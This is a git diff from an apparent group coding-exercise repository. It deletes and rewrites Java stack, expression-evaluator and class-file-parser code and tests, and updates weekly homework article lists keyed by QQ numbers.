-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
 
 }
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index e47a5d44d4..0000000000
--- a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coding.basic.stack;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-public class StackUtilTest {
-
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack<>();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-
-	@Test
-	public void testAddToBottom() {
-		Stack<Integer> s = new Stack<>();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		
-		StackUtil.addToBottom(s, 0);
-		
-		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
-	}
-
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack<>();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack<>();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 4152869ad2..0000000000
--- a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-public class InfixExprTest {
-
-	@Test
-	public void testEvaluate() {
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-	}
-
-}
diff --git a/group17/article/20170326-20170402.md b/group17/article/20170326-20170402.md
index 0729404704..5df4ce08e6 100644
--- a/group17/article/20170326-20170402.md
+++ b/group17/article/20170326-20170402.md
@@ -22,7 +22,7 @@
 
 240094626
 
-82427129 http://blog.csdn.net/Walk_er/article/details/66971517
+82427129 
 
 296910598
 
diff --git a/group17/article/20170402-20170409.md b/group17/article/20170402-20170409.md
index 2445f4a4c2..3d45ad0516 100644
--- a/group17/article/20170402-20170409.md
+++ b/group17/article/20170402-20170409.md
@@ -12,7 +12,7 @@
 
 1204187480 
 
-102228177   http://note.youdao.com/noteshare?id=4be7978218219daddfb0bb85182be12e
+102228177  
 
 876385982 
 
@@ -22,15 +22,15 @@
 
 240094626
 
-82427129 http://blog.csdn.net/Walk_er/article/details/68486226
+82427129 
 
 296910598
 
-1264835468 http://www.jianshu.com/p/686572a97fb3
+1264835468 
 
 516886559
 
-1282579502
+1282579502 
 
 614982500
 
diff --git a/group17/article/20170409-20170416.md b/group17/article/20170409-20170416.md
deleted file mode 100644
index 11360e66cb..0000000000
--- a/group17/article/20170409-20170416.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# 自由写作
-
-## 须知
----
-
-交作业时请在QQ 号后面填上各自的文章链接, 比如:
-
-51075907 http://m.blog.csdn.net/article/details?id=57083764
-
-## 文章
----
-
-1204187480 
-
-102228177  http://note.youdao.com/noteshare?id=7a1c457bc3de9a140f4e077f6352fc11
-
-876385982 
-
-785396327
-
-1059107701
-
-240094626
-
-82427129 
-
-296910598
-
-1264835468 
-
-516886559
-
-1282579502  https://www.evernote.com/l/AZ3ajLOAlTVHw7foK2KLb-bWZ7kw6FjljDA
-
-614982500
-
-865797761
-
-1540186032  
-
-176653813
-
-116665530
-
-51075907 
-
-1158154002
-
-345450234
-
-919764878
-
-1368331120
-
-517970312
-
diff --git a/group17/article/20170416-20170423.md b/group17/article/20170416-20170423.md
deleted file mode 100644
index 3d45ad0516..0000000000
--- a/group17/article/20170416-20170423.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# 自由写作
-
-## 须知
----
-
-交作业时请在QQ 号后面填上各自的文章链接, 比如:
-
-51075907 http://m.blog.csdn.net/article/details?id=57083764
-
-## 文章
----
-
-1204187480 
-
-102228177  
-
-876385982 
-
-785396327
-
-1059107701
-
-240094626
-
-82427129 
-
-296910598
-
-1264835468 
-
-516886559
-
-1282579502 
-
-614982500
-
-865797761
-
-1540186032  
-
-176653813
-
-116665530
-
-51075907 
-
-1158154002
-
-345450234
-
-919764878
-
-1368331120
-
-517970312
-
diff --git a/group17/article/template.md b/group17/article/template.md
index 3d45ad0516..0b06ef733e 100644
--- a/group17/article/template.md
+++ b/group17/article/template.md
@@ -12,7 +12,7 @@
 
 1204187480 
 
-102228177  
+102228177  http://note.youdao.com/noteshare?id=1f8f4a9d861e24948cdf0219a0d39f4e
 
 876385982 
 
diff --git a/group17/count/homework.md b/group17/count/homework.md
index 23e71c2fbe..640cf4698f 100644
--- a/group17/count/homework.md
+++ b/group17/count/homework.md
@@ -18,9 +18,6 @@
  * [20170305-20170312](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170305-20170312.md) 
 
  * [20170326-20170402](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170326-20170402.md) 
-
  * [20170402-20170409](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170402-20170409.md) 
 
- * [20170409-20170416](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170409-20170416.md) 
-
- * [20170416-20170423](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170416-20170423.md) 
+20170326-20170402.md 20170402-20170409.md
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
index b285a214b8..bec5202645 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
@@ -1,76 +1,137 @@
 package org.xukai.coderising.stack;
 
-import java.util.List;
-import java.util.Stack;
+import com.google.common.collect.Maps;
+import com.sun.org.apache.bcel.internal.generic.IFNE;
 
+import java.util.HashMap;
 
 public class InfixExpr {
+
+	public static enum TypeToken {
+
+		add('+',0),substruct('-',1),devide('/',3),plus('*',2);
+
+		TypeToken(char token, Integer priority) {
+			this.token = token;
+			this.priority = priority;
+		}
+
+		private char token;
+
+		private Integer priority;
+	}
+
 	String expr = null;
 	
 	public InfixExpr(String expr) {
 		this.expr = expr;
 	}
+//3*20+12*5-40/2
+	public Double evaluate() {
+		HashMap<String, Integer> map = new HashMap<>();
+		map.put("+",0);
+		map.put("-",1);
+		map.put("/",3);
+		map.put("*",2);
+
+
+		Stack tokenStack = new Stack();
+		Stack numStack = new Stack();
+		char[] chars = expr.toCharArray();
+		boolean isNem = true;
+		for (int i = 0; i < expr.length(); i++) {
+//			if (expr.charAt(i) == TypeToken.add.token || expr.charAt(i) == TypeToken.substruct.token) {
+//				isNem = true;
+//				if (!tokenStack.isEmpty() && (char)tokenStack.pop() == '*') {
+//					Float num2 = Float.valueOf(numStack.pop().toString());
+//					Float num1 = Float.valueOf(numStack.pop().toString());
+//					numStack.push(num1*num2);
+//				} else if (!tokenStack.isEmpty() && ((char)tokenStack.pop()) == '/') {
+//					Float num2 = Float.valueOf(numStack.pop().toString());
+//					Float num1 = Float.valueOf(numStack.pop().toString());
+//					numStack.push(num1/num2);
+//				}
+//				tokenStack.push(expr.charAt(i));
+//			} else if (expr.charAt(i) == TypeToken.devide.token){
+//				isNem = true;
+//				tokenStack.push(expr.charAt(i));
+//			} else if (expr.charAt(i) == TypeToken.plus.token){
+//				isNem = true;
+//				tokenStack.push(expr.charAt(i));
+//			} else if (String.valueOf(expr.charAt(i)).matches("\\d{1}")){
+//				if (isNem) {
+//					numStack.push((expr.charAt(i)));
+//				} else {
+//					numStack.push(numStack.pop().toString() + (expr.charAt(i)));
+//				}
+//				isNem = false;
+//
+//			} else {
+//				throw new RuntimeException();
+//			}
+			String token = (expr.charAt(i)) + "";
+			Integer priprity = map.get(token);
 
-	public float evaluate() {
-		
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		
-		
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			
-			if (token.isOperator()){
-				
-				if(opStack.isEmpty()){
-					
-					opStack.push(token);
-				} else{
-					
-					while(!opStack.isEmpty() 
-							&& !token.hasHigherPriority(opStack.peek())){
-						Token prevOperator = opStack.pop();
-						Float f2 = numStack.pop();
-						Float f1 = numStack.pop();
-						Float result = calculate(prevOperator.toString(), f1,f2);
-						numStack.push(result);						
-						
+			if (priprity != null) {
+				//表示是运算符
+				if (!tokenStack.isEmpty() && priprity < map.get(tokenStack.peek())) {
+					Float num2 = Float.valueOf(numStack.pop().toString());
+					Float num1 = Float.valueOf(numStack.pop().toString());
+					String pop = tokenStack.pop()+"";
+					if (pop.equals("-")) {
+						numStack.push(num1 - num2);
+					} else if (pop.equals("*")){
+						numStack.push(num1 * num2);
+					} else if (pop.equals("/")){
+						numStack.push(num1 / num2);
+					} else {
+						throw new RuntimeException();
 					}
-					opStack.push(token);
+
+				}
+				tokenStack.push(token);
+				isNem = true;
+			} else if(token.matches("\\d{1}")) {
+				//表示是数字
+				if (isNem) {
+					numStack.push(token);
+				} else {
+					numStack.push(numStack.pop().toString() + token);
 				}
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
+				isNem = false;
+			} else {
+				throw new RuntimeException();
 			}
 		}
-		
-		while(!opStack.isEmpty()){
-			Token token = opStack.pop();
-			Float f2 = numStack.pop();
-			Float f1 = numStack.pop();
-			numStack.push(calculate(token.toString(), f1,f2));
+		while (!tokenStack.isEmpty()) {
+			System.out.println(tokenStack.size());
+			if (tokenStack.peek().equals("+")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1+num2+"");
+			} else if (tokenStack.peek().equals("-")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1-num2+"");
+			} else if (tokenStack.peek().equals("/")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1/num2+"");
+			} else if (tokenStack.peek().equals("*")) {
+				Float num2 = Float.valueOf(numStack.pop().toString());
+				Float num1 = Float.valueOf(numStack.pop().toString());
+				numStack.push(num1*num2+"");
+			}  else {
+				throw new RuntimeException();
+			}
+			tokenStack.pop();
 		}
-		
-		
-		return numStack.pop().floatValue();
+//		System.out.println(Double.valueOf(numStack.pop().toString()));
+		return Double.valueOf(numStack.pop().toString());
 	}
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
+
+	public static void main(String[] args) {
+
 	}
 
 	
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java
deleted file mode 100644
index 00302fa05c..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr2.java
+++ /dev/null
@@ -1,104 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.HashMap;
-
-public class InfixExpr2 {
-
-	public static enum TypeToken {
-
-		add('+',0),substruct('-',1),devide('/',3),plus('*',2);
-
-		TypeToken(char token, Integer priority) {
-			this.token = token;
-			this.priority = priority;
-		}
-
-		private char token;
-
-		private Integer priority;
-	}
-
-	String expr = null;
-	
-	public InfixExpr2(String expr) {
-		this.expr = expr;
-	}
-//3*20+12*5-40/2
-	public Double evaluate() {
-		HashMap<String, Integer> map = new HashMap<>();
-		map.put("+",0);
-		map.put("-",1);
-		map.put("/",3);
-		map.put("*",2);
-
-
-		Stack tokenStack = new Stack();
-		Stack numStack = new Stack();
-		char[] chars = expr.toCharArray();
-		boolean isNem = true;
-		for (int i = 0; i < expr.length(); i++) {
-			String token = (expr.charAt(i)) + "";
-			Integer priprity = map.get(token);
-			if (priprity != null) {
-				//表示是运算符
-				if (!tokenStack.isEmpty() && priprity < map.get(tokenStack.peek())) {
-					Float num2 = Float.valueOf(numStack.pop().toString());
-					Float num1 = Float.valueOf(numStack.pop().toString());
-					String pop = tokenStack.pop()+"";
-					if (pop.equals("-")) {
-						numStack.push(num1 - num2);
-					} else if (pop.equals("*")){
-						numStack.push(num1 * num2);
-					} else if (pop.equals("/")){
-						numStack.push(num1 / num2);
-					} else {
-						throw new RuntimeException();
-					}
-
-				}
-				tokenStack.push(token);
-				isNem = true;
-			} else if(token.matches("\\d{1}")) {
-				//表示是数字
-				if (isNem) {
-					numStack.push(token);
-				} else {
-					numStack.push(numStack.pop().toString() + token);
-				}
-				isNem = false;
-			} else {
-				throw new RuntimeException();
-			}
-		}
-		while (!tokenStack.isEmpty()) {
-			System.out.println(tokenStack.size());
-			if (tokenStack.peek().equals("+")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1+num2+"");
-			} else if (tokenStack.peek().equals("-")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1-num2+"");
-			} else if (tokenStack.peek().equals("/")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1/num2+"");
-			} else if (tokenStack.peek().equals("*")) {
-				Float num2 = Float.valueOf(numStack.pop().toString());
-				Float num1 = Float.valueOf(numStack.pop().toString());
-				numStack.push(num1*num2+"");
-			}  else {
-				throw new RuntimeException();
-			}
-			tokenStack.pop();
-		}
-//		System.out.println(Double.valueOf(numStack.pop().toString()));
-		return Double.valueOf(numStack.pop().toString());
-	}
-
-
-
-	
-	
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java
deleted file mode 100644
index 71a483b29f..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixToPostfix2.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 将中缀表达式转换为后缀表达式：
- 与转换为前缀表达式相似，遵循以下步骤：
- (1) 初始化两个栈：运算符栈S1和储存中间结果的栈S2；
- (2) 从左至右扫描中缀表达式；
- (3) 遇到操作数时，将其压入S2；
- (4) 遇到运算符时，比较其与S1栈顶运算符的优先级：
- (4-1) 如果S1为空，或栈顶运算符为左括号“(”，则直接将此运算符入栈；
- (4-2) 否则，若优先级比栈顶运算符的高，也将运算符压入S1（注意转换为前缀表达式时是优先级较高或相同，而这里则不包括相同的情况）；
- (4-3) 否则，将S1栈顶的运算符弹出并压入到S2中，再次转到(4-1)与S1中新的栈顶运算符相比较；
- (5) 遇到括号时：
- (5-1) 如果是左括号“(”，则直接压入S1；
- (5-2) 如果是右括号“)”，则依次弹出S1栈顶的运算符，并压入S2，直到遇到左括号为止，此时将这一对括号丢弃；
- (6) 重复步骤(2)至(5)，直到表达式的最右边；
- (7) 将S1中剩余的运算符依次弹出并压入S2；
- (8) 依次弹出S2中的元素并输出，结果的逆序即为中缀表达式对应的后缀表达式（转换为前缀表达式时不用逆序）。
-
- 例如，将中缀表达式“1+((2+3)×4)-5”转换为后缀表达式的过程如下：
- 扫描到的元素	S2(栈底->栈顶)	S1 (栈底->栈顶)	说明
- 1	1	空	数字，直接入栈
- +	1	+	S1为空，运算符直接入栈
- (	1	+ (	左括号，直接入栈
- (	1	+ ( (	同上
- 2	1 2	+ ( (	数字
- +	1 2	+ ( ( +	S1栈顶为左括号，运算符直接入栈
- 3	1 2 3	+ ( ( +	数字
- )	1 2 3 +	+ (	右括号，弹出运算符直至遇到左括号
- ×	1 2 3 +	+ ( ×	S1栈顶为左括号，运算符直接入栈
- 4	1 2 3 + 4	+ ( ×	数字
- )	1 2 3 + 4 ×	+	右括号，弹出运算符直至遇到左括号
- -	1 2 3 + 4 × +	-	-与+优先级相同，因此弹出+，再压入-
- 5	1 2 3 + 4 × + 5	-	数字
- 到达最右端	1 2 3 + 4 × + 5 -	空	S1中剩余的运算符
- 因此结果为“1 2 3 + 4 × + 5 -”（注意需要逆序输出）。
- * @author xukai
- * @desc
- * @date 2017-04-22-14:10
- */
-public class InfixToPostfix2 {
-
-
-    private static TokenParser tokenParser = new TokenParser();
-
-    public static String toPostFixExpr(String expr){
-
-        List<Token> tokens = tokenParser.parse(expr);
-
-        Stack<Token> s1 = new Stack<Token>();
-        Stack<Token> s2 = new Stack<Token>();
-
-        for (Token token : tokens) {
-            if (token.isNumber()) {
-                s2.push(token);
-            } else {
-                while (token.isOperator() && !s1.isEmpty()) {
-                    if (!token.hasHigherPriority(s1.peek())) {
-                        s2.push(s1.pop());
-                        continue;
-                    }
-                    break;
-                }
-                s1.push(token);
-            }
-        }
-        while (!s1.isEmpty()) {
-            s2.push(s1.pop());
-        }
-        StringBuilder stringBuilder = new StringBuilder();
-        while (!s2.isEmpty()) {
-            Token token = s2.pop();
-            s1.push(token);
-        }
-        while (!s1.isEmpty()) {
-            Token token = s1.pop();
-            stringBuilder.append(token.toString()).append(" ");
-        }
-
-        return stringBuilder.substring(0,stringBuilder.length() - 1);
-    }
-
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java
deleted file mode 100644
index 98e849c4ff..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExpr.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 与前缀表达式类似，只是顺序是从左至右：
- 从左至右扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（次顶元素 op 栈顶元素），并将结果入栈；重复上述过程直到表达式最右端，最后运算得出的值即为表达式的结果。
- 例如后缀表达式“3 4 + 5 × 6 -”：
- (1) 从左至右扫描，将3和4压入堆栈；
- (2) 遇到+运算符，因此弹出4和3（4为栈顶元素，3为次顶元素，注意与前缀表达式做比较），计算出3+4的值，得7，再将7入栈；
- (3) 将5入栈；
- (4) 接下来是×运算符，因此弹出5和7，计算出7×5=35，将35入栈；
- (5) 将6入栈；
- (6) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
- */
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		
-		
-		Stack<Float> numStack = new Stack<>();
-		for(Token token : tokens){
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			} else{
-				Float f2 = numStack.pop();
-				Float f1 = numStack.pop();
-				numStack.push(calculate(token.toString(),f1,f2));
-			}
-		}
-		return numStack.pop().floatValue();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java
deleted file mode 100644
index 178fc23836..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PostfixExprTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package org.xukai.coderising.stack;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-	@Test
-	public void testTo(){
-		String poseExpr = InfixToPostfix2.toPostFixExpr("10-2*3+50");
-		System.out.println(poseExpr);
-	}
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java
deleted file mode 100644
index cab9831ec2..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExpr.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.List;
-import java.util.Stack;
-
-/**
- * 从右至左扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（栈顶元素 op 次顶元素），并将结果入栈；重复上述过程直到表达式最左端，最后运算得出的值即为表达式的结果。
- 例如前缀表达式“- × + 3 4 5 6”：
- (1) 从右至左扫描，将6、5、4、3压入堆栈；
- (2) 遇到+运算符，因此弹出3和4（3为栈顶元素，4为次顶元素，注意与后缀表达式做比较），计算出3+4的值，得7，再将7入栈；
- (3) 接下来是×运算符，因此弹出7和5，计算出7×5=35，将35入栈；
- (4) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
- 可以看出，用计算机计算前缀表达式的值是很容易的。
- * @author xukai
- * @desc
- * @date 2017-04-22-13:49
- */
-public class PrefixExpr {
-
-
-    private String expr;
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate(){
-
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse(expr);
-
-        Stack<Float> numStack = new Stack();
-        Stack<Float> oprStack = new Stack();
-
-        for (int i = tokens.size() - 1; i > -1; i--) {
-            if (tokens.get(i).isNumber()) {
-                numStack.push(new Float(tokens.get(i).getIntValue()));
-            } else {
-                Float num1 = numStack.pop();
-                Float num2 = numStack.pop();
-                numStack.push(caculate(tokens.get(i).toString(), num1, num2));
-            }
-        }
-
-        return numStack.pop();
-    }
-
-    private Float caculate(String oper, Float num1, Float num2){
-        if (oper.equals("+")) {
-            return num1 + num2;
-        } else if (oper.equals("-")) {
-            return num1 - num2;
-        } else if (oper.equals("/")) {
-            return num1 / num2;
-        } else if (oper.equals("*")) {
-            return num1 * num2;
-        }
-        throw new RuntimeException("illeagal operation token");
-    }
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java
deleted file mode 100644
index bc0e4b53e4..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package org.xukai.coderising.stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java
deleted file mode 100644
index e10eabb1f4..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java
deleted file mode 100644
index 03e214bf1b..0000000000
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package org.xukai.coderising.stack;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
